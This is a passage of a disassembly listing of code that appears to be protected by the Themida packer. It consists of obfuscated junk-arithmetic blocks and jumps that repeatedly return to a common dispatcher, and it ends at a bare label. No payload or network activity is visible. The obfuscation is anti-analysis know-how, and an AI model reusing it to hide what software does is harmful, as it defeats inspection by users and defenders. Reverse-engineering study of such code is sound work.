loc_55A2BE:				; CODE XREF: sub_559C84-36E1j
		pop	esp
		sub	esp, 4
		mov	[esp+44h+var_46+2], ecx
		mov	ecx, 0C4C16CDh
		and	ecx, 6CB71A71h
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		push	6413h
		mov	[esp+48h+var_4A+2], esi
		not	[esp+48h+var_4A+2]
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		xchg	esi, ecx
		push	ebp
		mov	ebp, 0C041342h
		jmp	loc_553EE9
; ---------------------------------------------------------------------------


loc_55A2FA:				; CODE XREF: sub_559C84+1D73j
		or	ecx, 677C6D79h
		add	ecx, 6FF5297Ah
		and	ecx, 117036F9h
		xor	ecx, 5BD43E48h
		mov	edx, ecx
		jmp	loc_559D33
; ---------------------------------------------------------------------------


loc_55A319:				; CODE XREF: sub_559C84-44C9j
		push	edx
		mov	edx, 4B34268h
		sub	eax, edx
		pop	edx
		pop	ebp
		push	ebp
		mov	ebp, 2
		sub	eax, 107A18D4h
		add	eax, ebp
		push	edx
		jmp	loc_5593DF
; ---------------------------------------------------------------------------


loc_55A336:				; CODE XREF: Themida_:0055EE01j
		push	esp
		jmp	loc_55D977
; ---------------------------------------------------------------------------


loc_55A33C:				; CODE XREF: sub_559C84-3E0Cj
		pop	edx
		mov	esi, [esp+4Ah+var_4A]
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A348:				; CODE XREF: sub_559C84+3D14j
		pop	esp
		xor	edx, [esp+42h+var_42]
		xor	[esp+42h+var_42], edx
		xor	edx, [esp+42h+var_42]
		pop	esp
		jmp	loc_55EA83
; ---------------------------------------------------------------------------


loc_55A358:				; CODE XREF: sub_559C84+273Fj
		sub	eax, esi
		pop	esi
		sub	eax, ebx
		push	ebp
		push	ebx
		mov	ebx, 56753F61h
		mov	ebp, 7BCB9F37h
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------


loc_55A36E:				; CODE XREF: sub_559C84+29ECj
		add	ecx, edi
		add	ecx, 195A52B4h
		pop	edi
		inc	ecx
		add	ecx, 52751F53h
		sub	esp, 4
		mov	[esp+42h+var_42], edi
		mov	edi, 1278F895h
		xor	ecx, edi
		pop	edi
		jmp	loc_55D045
; ---------------------------------------------------------------------------


loc_55A394:				; CODE XREF: sub_559C84+3A24j
		inc	bl
		and	bl, 74h
		xor	bl, 93h
		sub	cl, bl
		pop	ebx
		or	cl, 9Ch
		sub	cl, 2Fh
		sub	al, cl
		pop	ecx
		sub	al, 9Fh
		add	al, 0A1h
		add	al, 2
		add	al, bl
		jmp	loc_55E256
; ---------------------------------------------------------------------------


loc_55A3B5:				; CODE XREF: sub_559C84+4F95j
		pop	edx
		xchg	edi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		mov	word ptr [esp+32h+var_34+2], ax
		mov	ah, 7Eh
		add	bl, 9Ch
		sub	bl, ah
		sub	bl, 9Ch
		pop	ax
		add	bl, 28h
		sub	bl, 19h
		jmp	loc_557358
; ---------------------------------------------------------------------------


loc_55A3D7:				; CODE XREF: sub_559C84+223Cj
		push	[esp+30h+var_30]
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_554C2B
; ---------------------------------------------------------------------------


loc_55A3E5:				; CODE XREF: sub_559C84-5AADj
		add	esp, 4
		jmp	loc_555D36
; ---------------------------------------------------------------------------


loc_55A3ED:				; CODE XREF: sub_559C84+5527j
		mov	word ptr [esp+4+var_4],	dx
		push	ax
		pushf
		jmp	loc_559A23
; ---------------------------------------------------------------------------


loc_55A3F9:				; CODE XREF: sub_559C84+1861j
		push	ecx
		mov	ch, 0C5h
		dec	ch
		push	eax
		mov	al, 16h
		shl	al, 2
		not	al
		push	ecx
		mov	cl, 0D6h
		add	cl, 0A4h
		jmp	loc_559A7F
; ---------------------------------------------------------------------------


loc_55A411:				; CODE XREF: sub_559C84+5149j
		pop	ecx
		xor	bh, 26h
		add	al, bh
		jmp	loc_553632
; ---------------------------------------------------------------------------


loc_55A41C:				; CODE XREF: sub_559C84+4FADj
		bts	word ptr [esp+12h+var_14+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A427:				; CODE XREF: sub_559C84-4760j
		mov	ecx, 612B142Ah
		jmp	loc_556D48
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+0Ah+var_C+2], al
		pushf
		jmp	loc_554C83
; ---------------------------------------------------------------------------


loc_55A440:				; CODE XREF: sub_559C84-25Bj
		pop	eax


loc_55A441:				; CODE XREF: sub_559C84-38AFj
		push	32F7h
		mov	[esp-20h+arg_1C], ebx
		push	[esp-20h+arg_1C]
		push	[esp-1Ch+arg_18]
		jmp	loc_55D36A
; ---------------------------------------------------------------------------


loc_55A454:				; CODE XREF: sub_559C84-1379j
		pop	ecx
		sub	ebp, edx
		mov	edx, [esp+4Ah+var_4A]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Eh+var_4E]
		pop	esp
		and	eax, ebp
		jmp	loc_55E4E2
; ---------------------------------------------------------------------------


loc_55A470:				; CODE XREF: sub_559C84-4F3Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55BE00
; ---------------------------------------------------------------------------


loc_55A47E:				; CODE XREF: sub_559C84-148Dj
		mov	[esp+34h+var_34], ecx
		push	eax
		mov	eax, 310A69D7h
		jmp	loc_558E58
; ---------------------------------------------------------------------------


loc_55A48C:				; CODE XREF: sub_5559F0+8EB1j
		add	edi, ebx
		push	[esp+38h+var_3A+2]
		jmp	loc_55870A
; ---------------------------------------------------------------------------


loc_55A496:				; CODE XREF: sub_559C84+376Aj
		mov	edi, 331246BAh
		neg	edi
		neg	edi
		shl	edi, 5
		add	edi, 0F6C08F35h
		jmp	loc_55BF10
; ---------------------------------------------------------------------------


loc_55A4AD:				; CODE XREF: sub_559C84+5F30j
		mov	ebx, [esp+3Ch+var_3E+2]
		add	esp, 4
		std
		jmp	loc_55B462
; ---------------------------------------------------------------------------


loc_55A4B9:				; CODE XREF: sub_559C84-3B69j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+40h+var_42+2]
		jmp	loc_55B727
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+40h+var_42+2]
		push	ebx
		sub	esp, 4
		mov	[esp+48h+var_4A+2], esp
		add	[esp+48h+var_4A+2], 4
		push	[esp+48h+var_4A+2]
		pop	ebx
		jmp	loc_55618F
; ---------------------------------------------------------------------------


loc_55A4E8:				; CODE XREF: sub_559C84+990j
		pop	edi
		jmp	loc_557939
; ---------------------------------------------------------------------------


loc_55A4EE:				; CODE XREF: sub_559C84+2EBBj
		add	esp, 4
		push	ecx
		push	[esp+44h+var_42+2]
		pop	ecx
		pop	[esp+44h+var_46+2]
		mov	esp, [esp+40h+var_42+2]
		push	[esp+40h+var_42+2]
		jmp	loc_55BFD5
; ---------------------------------------------------------------------------


loc_55A508:				; CODE XREF: sub_559C84-1081j
		mov	bl, 8Dh
		neg	bl
		add	bl, 12h
		jmp	loc_55535D
; ---------------------------------------------------------------------------


loc_55A514:				; CODE XREF: Themida_:0055719Fj
		add	eax, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		xor	eax, [esp+24h+var_24]
		jmp	loc_55ADF6
; ---------------------------------------------------------------------------


loc_55A527:				; CODE XREF: Themida_:00555BF7j
		mov	[esp+24h+var_24], ecx
		push	edx
		mov	dl, 0D5h
		jmp	loc_558910
; ---------------------------------------------------------------------------


loc_55A532:				; CODE XREF: Themida_:00555927j
		push	0D4Bh
		jmp	loc_557995
; ---------------------------------------------------------------------------


loc_55A53C:				; CODE XREF: sub_559C84+3123j
		xor	al, cl
		mov	cx, word ptr [esp+2Ch+var_2C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+30h+var_30]
		jmp	loc_55694E
; ---------------------------------------------------------------------------


loc_55A556:				; CODE XREF: sub_559C84+5300j
		pop	edi
		add	ebp, edi
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_55A14F
; ---------------------------------------------------------------------------


loc_55A567:				; CODE XREF: sub_559C84+1A3Dj
		add	esp, 4
		pop	edx
		xor	esi, [esp+20h+var_20]
		xor	[esp+20h+var_20], esi
		xor	esi, [esp+20h+var_20]
		pop	esp
		div	cl
		movzx	cx, ah
		push	esi
		push	2429h
		mov	[esp+24h+var_24], esp
		push	ebx
		jmp	loc_55B6F0
; ---------------------------------------------------------------------------


loc_55A58A:				; CODE XREF: sub_559C84-1D6Aj
		sub	ebp, 0F932DD69h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		push	ebx
		jmp	loc_559B0D
; ---------------------------------------------------------------------------


loc_55A5A3:				; CODE XREF: sub_559C84-770j
		push	17F6h
		jmp	loc_556A91
; ---------------------------------------------------------------------------


loc_55A5AD:				; CODE XREF: sub_559C84-1640j
		pop	edi
		xchg	edx, [esp+0]
		pop	esp
		push	10B2h
		mov	[esp+0], edx
		mov	edx, 28A630B0h
		add	edx, 0FFFFFFFFh
		push	esi
		jmp	sub_5553CB
; ---------------------------------------------------------------------------


loc_55A5C8:				; CODE XREF: sub_559C84+3948j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		push	[esp+3Eh+var_3A]
		mov	eax, [esp+42h+var_42]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+46h+var_46]
		pop	esp
		pop	[esp+42h+var_42]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1ADCh
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	[esp+3Eh+var_3E]
		jmp	loc_5548DC
; ---------------------------------------------------------------------------


loc_55A60C:				; CODE XREF: sub_559C84+5E2Aj
		pop	esi
		jmp	sub_554404
; ---------------------------------------------------------------------------


loc_55A612:				; CODE XREF: sub_559C84-3000j
		add	ebx, edi
		jmp	loc_55A4E8
; ---------------------------------------------------------------------------


loc_55A619:				; CODE XREF: sub_559C84+2AD7j
		push	1AFAh
		jmp	loc_55B41A
; ---------------------------------------------------------------------------


loc_55A623:				; CODE XREF: sub_559C84-2F23j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55490A
; ---------------------------------------------------------------------------


loc_55A630:				; CODE XREF: sub_559C84+2555j
		push	5C33h
		mov	[esp+44h+var_46+2], ecx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A63D:				; CODE XREF: sub_559C84+1973j
		push	edi
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esp
		jmp	loc_55EC02
; ---------------------------------------------------------------------------


loc_55A649:				; CODE XREF: sub_55799E+Fj
		or	edx, 1CEC1872h
		or	edx, 1FAA040Ah
		or	edx, 1A81333Ch
		jmp	loc_55DAB0
; ---------------------------------------------------------------------------


loc_55A660:				; CODE XREF: sub_559C84+20F3j
		push	ecx
		mov	ecx, 6FE5105Ah
		and	eax, ecx
		pop	ecx
		add	eax, 13B057C7h
		add	eax, 0E4F1B409h
		add	edi, eax
		jmp	loc_554BDD
; ---------------------------------------------------------------------------


loc_55A67A:				; CODE XREF: sub_559C84+2D64j
		mov	esi, 3CC71A9Ah
		jmp	loc_5541C7
; ---------------------------------------------------------------------------


loc_55A684:				; CODE XREF: sub_55523E+4j
		sub	dh, bh
		pop	bx
		jmp	loc_55A07D
; ---------------------------------------------------------------------------


loc_55A68D:				; CODE XREF: Themida_:0055E821j
		pop	[esp+4Ah+var_4A]
		mov	esp, [esp+46h+var_46]
		shl	byte ptr [esp+46h+var_46], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A69C:				; CODE XREF: sub_559C84+5967j
		mov	[esp+4Ah+var_4A], esi
		mov	esi, 5BC51D97h
		mov	ebx, 10C60091h
		push	ebx
		not	[esp+4Eh+var_4E]
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		push	0
		sub	[esp+4Eh+var_4E], ebx
		jmp	loc_553CB2
; ---------------------------------------------------------------------------


loc_55A6C3:				; CODE XREF: sub_559C84+25B3j
		add	ebx, 8C559173h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		push	ebp
		push	[esp+4Eh+var_4A]
		pop	ebp
		pop	[esp+4Eh+var_4E]
		mov	esp, [esp+4Ah+var_4A]
		jmp	loc_55DD44
; ---------------------------------------------------------------------------


loc_55A6E3:				; CODE XREF: sub_559C84+3320j
		xor	[esp+4Ah+var_4A], ebp
		xor	ebp, [esp+4Ah+var_4A]
		pop	esp
		shl	[esp+46h+var_46], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		push	[esp+4Ah+var_4A]
		push	[esp+4Eh+var_4E]
		pop	eax
		jmp	loc_55D08F
; ---------------------------------------------------------------------------


loc_55A6FF:				; CODE XREF: sub_559C84-4B74j
		shl	edi, 8
		dec	edi
		sub	edi, 1
		push	ebp
		mov	ebp, 21663572h
		add	ebp, 0E3E253BEh
		xor	edi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 44C87B68h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 51F455BCh
		jmp	loc_557D8C
; ---------------------------------------------------------------------------


loc_55A72C:				; CODE XREF: sub_559C84-4521j
		add	ebx, 637A1160h
		xor	ecx, ebx
		jmp	loc_55C0E8
; ---------------------------------------------------------------------------


loc_55A739:				; CODE XREF: sub_559C84+10DAj
		sub	[esp+48h+var_46+2], edi
		push	edx
		mov	edx, 1D6759B5h
		jmp	loc_5592DC
; ---------------------------------------------------------------------------


loc_55A748:				; CODE XREF: sub_559C84-44F9j
		add	esp, 4
		push	eax
		push	1521h
		mov	[esp+4Ch+var_4E+2], ebx
		push	[esp+4Ch+var_4E+2]
		mov	eax, [esp+50h+var_52+2]
		add	esp, 4
		add	esp, 4
		push	[esp+48h+var_4A+2]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 1
		and	eax, esi
		push	[esp+48h+var_4A+2]
		jmp	loc_55F5D3
; ---------------------------------------------------------------------------
		push	ebp
		push	693E12F7h
		pop	ebp
		sub	ebp, 0FFFFFFFFh
		and	ebp, 4266B30h
		jmp	loc_55C86F
; ---------------------------------------------------------------------------


loc_55A78F:				; CODE XREF: sub_559C84-2B13j
		xor	al, 31h
		sub	bl, al
		pop	eax
		jmp	loc_55A13F
; ---------------------------------------------------------------------------


loc_55A799:				; CODE XREF: sub_559C84-3020j
		add	edi, 4
		xchg	edi, [esp+4Ch+var_4E+2]
		pop	esp
		push	5C6Dh
		mov	[esp+4Ch+var_4E+2], ecx
		push	ebx
		mov	ebx, 3272556Ch
		xor	ebx, 0AB91204h
		xor	ebx, 5A4A5DDEh
		shl	ebx, 5
		sub	ebx, 10DD0C6Eh
		push	esi
		jmp	loc_5578C9
; ---------------------------------------------------------------------------


loc_55A7C9:				; CODE XREF: sub_559C84-656Cj
		add	ebx, edi
		jmp	loc_556EDA
; ---------------------------------------------------------------------------


loc_55A7D0:				; CODE XREF: sub_559C84-332Cj
		push	ecx
		mov	ch, 5Ah
		jmp	loc_55D7F7
; ---------------------------------------------------------------------------
		dd 240C8B66h, 7DF86851h, 66E90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7E7:				; CODE XREF: sub_559C84+20C3j
		mov	esi, eax
		jmp	loc_55860D
; ---------------------------------------------------------------------------


loc_55A7EE:				; CODE XREF: sub_559C84-2ACFj
		add	ecx, esi
		pop	esi
		sub	ecx, 3C6035DBh
		sub	edi, ecx
		mov	ecx, [esp-1Ah+arg_14+2]
		add	esp, 4
		xchg	edi, [esp-1Eh+arg_18+2]
		mov	esp, [esp-1Eh+arg_18+2]
		mov	[esp-1Eh+arg_18+2], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A810:				; CODE XREF: sub_559C84-398j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+3Ah+var_3A]
		jmp	loc_554E9B
; ---------------------------------------------------------------------------


loc_55A821:				; CODE XREF: sub_559C84+5479j
		push	ecx
		mov	ecx, 4
		add	edi, 177252B3h
		add	edi, 2680AC2h
		add	edi, 4426165h
		add	edi, ecx
		jmp	loc_558342
; ---------------------------------------------------------------------------


loc_55A840:				; CODE XREF: Themida_:00556E0Ej
		push	4F0Bh
		mov	[esp+42h+var_42], ebx
		mov	ebx, 0
		push	eax
		mov	eax, 8330902h
		sub	ebx, eax
		pop	eax
		add	ebx, edx
		push	esi
		mov	esi, 8330902h
		sub	ebx, 2795A1Ch
		sub	ebx, 287F7CD4h
		add	ebx, esi
		add	ebx, 287F7CD4h
		add	ebx, 2795A1Ch
		mov	esi, [esp+46h+var_46]
		sub	esp, 4
		mov	[esp+4Ah+var_4A], edi
		jmp	loc_55A1D6
; ---------------------------------------------------------------------------


loc_55A886:				; CODE XREF: sub_559C84-4C49j
		or	ah, 77h
		push	bx
		mov	bl, 0C1h
		xor	ah, bl
		pop	bx
		sub	bl, ah
		pop	eax
		pop	edx
		jmp	loc_557EE7
; ---------------------------------------------------------------------------


loc_55A89A:				; CODE XREF: sub_559C84-37FFj
		add	esp, 4
		add	esp, 4
		xor	esi, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], esi
		xor	esi, [esp+4Ah+var_4A]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A8AF:				; CODE XREF: sub_559C84+62Cj
		sub	al, 0DCh
		add	al, 0E6h
		add	al, dl
		sub	al, 0E6h
		add	al, 0DCh
		push	edx
		mov	dh, 5Ch
		jmp	loc_5568FD
; ---------------------------------------------------------------------------


loc_55A8C1:				; CODE XREF: sub_559C84-53DEj
		sub	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], ebx
		mov	bl, 67h
		or	bl, 1Eh
		jmp	loc_556DFE
; ---------------------------------------------------------------------------


loc_55A8D8:				; CODE XREF: sub_559C84-A1Ej
		sub	eax, ebp
		jmp	loc_55B026
; ---------------------------------------------------------------------------


loc_55A8DF:				; CODE XREF: sub_5599A2-4DCAj
		push	6846h
		mov	[esp+18h+var_18], esi
		push	1D32h
		jmp	loc_556D5E
; ---------------------------------------------------------------------------


loc_55A8F1:				; CODE XREF: sub_559C84-3B01j
		pop	esp
		add	bl, 0A8h
		jmp	loc_55A0B1
; ---------------------------------------------------------------------------


loc_55A8FA:				; CODE XREF: sub_559C84+3AC6j
		mov	ebx, 7BCF031Dh
		neg	ebx
		add	ebx, 37652727h
		not	ebx
		neg	ebx
		jmp	loc_556535
; ---------------------------------------------------------------------------


loc_55A910:				; CODE XREF: sub_559C84-670Dj
		pop	esp
		jmp	loc_55EE47
; ---------------------------------------------------------------------------
		push	5F9Ch
		mov	[esp-10h+arg_C], edx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A923:				; CODE XREF: Themida_:00556F1Aj
		push	esp
		jmp	loc_5598D9
; ---------------------------------------------------------------------------


loc_55A929:				; CODE XREF: sub_559C84-37F0j
		add	esp, 4
		push	edx
		add	[esp+4Eh+var_4E], 10009CEh
		push	[esp+4Eh+var_4E]
		pop	ebx
		add	esp, 4
		jmp	loc_55670C
; ---------------------------------------------------------------------------


loc_55A943:				; CODE XREF: sub_559C84+2E26j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555768
; ---------------------------------------------------------------------------


loc_55A951:				; CODE XREF: sub_559C84+448Fj
		xchg	edx, [esp+4Eh+var_4E]
		pop	esp
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		jmp	loc_555EE4
; ---------------------------------------------------------------------------


loc_55A95E:				; CODE XREF: sub_559C84+42ADj
		pop	ecx
		jmp	loc_555FBB
; ---------------------------------------------------------------------------


loc_55A964:				; CODE XREF: Themida_:005545A8j
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 1FE012ECh
		push	edi
		push	ecx
		mov	ecx, 4C5454Dh
		not	ecx
		sub	ecx, 8781B3FEh
		jmp	loc_55BB1B
; ---------------------------------------------------------------------------


loc_55A981:				; CODE XREF: sub_559C84+48BEj
		mov	[esp+4Ah+var_4A], eax
		mov	eax, 330E0F3Ch
		mov	edi, 7D3666D7h
		xor	edi, eax
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		dec	edi
		add	edi, 2C53E30h
		push	ecx
		mov	ecx, 7E717B1Fh
		add	edi, ecx
		pop	ecx
		neg	edi
		sub	edi, 0F5A48943h
		jmp	loc_556A6A
; ---------------------------------------------------------------------------


loc_55A9B6:				; CODE XREF: sub_559C84-52DAj
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55A9C1:				; CODE XREF: sub_559C84-2507j
		add	ebx, edx
		push	ecx
		mov	ecx, 778161C5h
		jmp	loc_55E7E0
; ---------------------------------------------------------------------------


loc_55A9CE:				; CODE XREF: Themida_:0055F1EBj
		pop	ebx
		push	2CCFh
		mov	[esp+3Eh+var_3E], esi
		not	[esp+3Eh+var_3E]
		mov	esi, [esp+3Eh+var_3E]
		push	edi
		mov	edi, esp
		jmp	loc_55515E
; ---------------------------------------------------------------------------


loc_55A9E5:				; CODE XREF: sub_55590A+1C8Cj
		sub	esp, 4
		jmp	loc_5567BE
; ---------------------------------------------------------------------------


loc_55A9F0:				; CODE XREF: sub_559C84+3EF8j
		mov	edi, [esp+46h+var_46]
		jmp	loc_553E0C
; ---------------------------------------------------------------------------


loc_55A9F8:				; CODE XREF: Themida_:0055600Dj
		pop	eax
		push	edi
		sub	esp, 4
		mov	[esp+4Ah+var_4A], esp
		add	[esp+4Ah+var_4A], 4
		push	[esp+4Ah+var_4A]
		pop	edi
		jmp	sub_5556C9
; ---------------------------------------------------------------------------


loc_55AA10:				; CODE XREF: sub_559C84+495Cj
		add	esi, edi
		jmp	loc_558091
; ---------------------------------------------------------------------------


loc_55AA17:				; CODE XREF: sub_554517+5281j
		mov	esi, [esp+4Ah+var_4A]
		push	ebp
		mov	ebp, esp
		jmp	loc_557078
; ---------------------------------------------------------------------------


loc_55AA22:				; CODE XREF: sub_559C84+54CDj
		mov	edx, [esp+4Eh+var_4E]
		add	esp, 4
		add	eax, 356C46BEh
		push	7CDEh
		mov	[esp+4Eh+var_4E], edx
		mov	edx, 44965D91h
		push	ebp
		jmp	loc_555C62
; ---------------------------------------------------------------------------


loc_55AA40:				; CODE XREF: sub_559C84-2C5Aj
		mov	ebp, 30E5143Ch
		xor	ebp, 363C0FBFh
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 5
		sub	ebx, 0CA00743h
		shl	ebx, 4
		shr	ebx, 7
		not	ebx
		jmp	loc_55ED3B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+34h+var_34]
		sub	esp, 4
		mov	[esp+38h+var_3A+2], esi
		push	esp
		mov	esi, [esp+3Ch+var_3E+2]
		jmp	sub_55E425
; ---------------------------------------------------------------------------


loc_55AA7A:				; CODE XREF: sub_559C84-3A12j
		add	cl, 8
		jmp	loc_55AF1A
; ---------------------------------------------------------------------------


loc_55AA82:				; CODE XREF: sub_559C84+3DD1j
		push	ebp
		sub	esp, 4
		mov	[esp+38h+var_3A+2], esp
		jmp	loc_55374A
; ---------------------------------------------------------------------------


loc_55AA8E:				; CODE XREF: sub_559C84-1ABCj
		add	esp, 4
		push	41DDh
		mov	[esp+56h+var_58+2], edi
		push	2
		pop	edi
		jmp	loc_556120
; ---------------------------------------------------------------------------


loc_55AAA7:				; DATA XREF: Themida_:00553434o
		mov	ax, word ptr [esp+56h+var_58+2]
		push	781h
		mov	[esp+5Ah+var_5C+2], ecx
		push	esp
		jmp	loc_55C1F9
; ---------------------------------------------------------------------------


loc_55AAB9:				; CODE XREF: sub_559C84+4373j
		add	eax, 0F0B39D22h
		add	ebx, eax
		pop	eax
		jmp	sub_55DD10
; ---------------------------------------------------------------------------
		push	[esp+5Ah+var_5C+2]
		jmp	loc_55502C
; ---------------------------------------------------------------------------


loc_55AACE:				; CODE XREF: Themida_:00558026j
		mov	[esp+5Eh+var_60+2], ebx
		push	esp
		mov	ebx, [esp+62h+var_64+2]
		jmp	loc_55BFB1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+60h+var_60], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55AAE9:				; CODE XREF: sub_559C84+2949j
		xor	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		pop	ecx
		add	ebx, 294D7260h
		sub	ebx, eax
		sub	ebx, 294D7260h
		push	esi
		mov	esi, 45F540ADh
		jmp	loc_55E553
; ---------------------------------------------------------------------------


loc_55AB08:				; CODE XREF: sub_559C84-103Bj
		or	ecx, eax
		pop	eax
		jmp	loc_558B19
; ---------------------------------------------------------------------------


loc_55AB10:				; CODE XREF: sub_559C84+3DA5j
		xor	word ptr [esp+24h+var_24], dx
		pop	ax
		xor	word ptr [esp+22h+var_24+2], ax
		xor	ax, word ptr [esp+22h+var_24+2]
		xor	word ptr [esp+22h+var_24+2], ax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55AB27:				; CODE XREF: sub_559C84-2B8j
		xor	edi, 53EFB8FFh
		sub	ecx, edi
		pop	edi
		jmp	loc_55F8DA
; ---------------------------------------------------------------------------


loc_55AB35:				; CODE XREF: sub_559C84+5C51j
		push	ebx
		mov	ebx, 1367558Ah
		jmp	loc_5569DD
; ---------------------------------------------------------------------------


loc_55AB40:				; CODE XREF: sub_559C84+303Ej
		xor	ebx, eax
		pop	eax
		dec	ebx
		or	ebx, 54F96731h
		sub	esp, 4
		mov	[esp+60h+var_60], ebp
		mov	ebp, 0B9C0FC3h
		shr	ebp, 2
		dec	ebp
		sub	ebp, 0FFFFFFFFh
		not	ebp
		push	ebx
		push	edi
		mov	edi, 6D6546B1h
		add	edi, 410D733Ch
		sub	edi, 5BE22FD0h
		xor	edi, 405ACFF6h
		mov	ebx, edi
		pop	edi
		xor	ebp, ebx
		pop	ebx
		jmp	loc_55967D
; ---------------------------------------------------------------------------


loc_55AB85:				; CODE XREF: sub_559C84+26B3j
		push	[esp+60h+var_5C]
		pop	edx
		pop	[esp+60h+var_60]
		pop	esp
		sub	eax, ebx
		push	1E85h
		mov	[esp+5Ch+var_5C], edi
		mov	edi, 7375193Eh
		jmp	loc_556571
; ---------------------------------------------------------------------------


loc_55ABA2:				; CODE XREF: sub_559C84-509Cj
		pop	edx
		sub	edi, 59DD4FFDh
		jmp	loc_555790
; ---------------------------------------------------------------------------


loc_55ABAE:				; CODE XREF: sub_559C84+49Ej
		push	eax
		mov	eax, 4
		jmp	loc_5594AD
; ---------------------------------------------------------------------------


loc_55ABB9:				; CODE XREF: sub_557920+75BEj
		shl	ebx, 4
		inc	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+50h+var_52+2], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_558467
; ---------------------------------------------------------------------------


loc_55ABD5:				; CODE XREF: sub_559C84+2421j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+50h+var_52+2]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp+0], edx
		push	7BA77143h
		pop	edx
		inc	edx
		jmp	loc_556B10
; ---------------------------------------------------------------------------


loc_55ABF8:				; CODE XREF: sub_559C84+4757j
		xor	al, ch
		pop	cx
		jmp	loc_55746E
; ---------------------------------------------------------------------------


loc_55AC01:				; CODE XREF: sub_559C84+54BDj
		sub	edx, esi
		jmp	loc_55B933
; ---------------------------------------------------------------------------


loc_55AC08:				; CODE XREF: sub_559C84-5049j
		mov	ah, 0FCh
		add	bl, 39h
		jmp	loc_554A87
; ---------------------------------------------------------------------------


loc_55AC12:				; CODE XREF: sub_559C84-4046j
		add	esp, 4
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], eax
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		jmp	loc_55F102
; ---------------------------------------------------------------------------


loc_55AC29:				; CODE XREF: sub_559C84+52A9j
		pop	ebx
		jmp	loc_55BA0A
; ---------------------------------------------------------------------------


loc_55AC2F:				; CODE XREF: sub_559C84+1DE9j
		pop	eax
		sub	esi, 0DB2103Eh
		add	esi, 4243D24Fh
		add	ebp, esi
		pop	esi
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------


loc_55AC44:				; CODE XREF: sub_559C84+4229j
		or	ebx, 5DC6462Ch
		jmp	loc_555E2F
; ---------------------------------------------------------------------------


loc_55AC4F:				; CODE XREF: sub_559C84-1128j
		sub	eax, 396272CBh
		add	eax, edx
		push	edx
		mov	edx, 396272CBh
		add	eax, edx
		pop	edx
		sub	eax, 30C950A7h
		pop	edx
		jmp	loc_55DF3E
; ---------------------------------------------------------------------------


loc_55AC6A:				; CODE XREF: sub_559C84+2F24j
		and	ebp, ebx
		push	[esp+34h+var_34]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, 408E12A6h
		shr	edi, 3
		push	esi
		mov	esi, 7C4C5FAAh
		sub	esi, 52E82211h
		and	edi, esi
		pop	esi
		jmp	loc_555040
; ---------------------------------------------------------------------------


loc_55AC90:				; CODE XREF: sub_559C84+1AB9j
		and	esi, 4C41655Fh
		jmp	loc_5571AF
; ---------------------------------------------------------------------------


loc_55AC9B:				; CODE XREF: sub_559C84+1A12j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55ACA0:				; CODE XREF: sub_559C84+3A0Aj
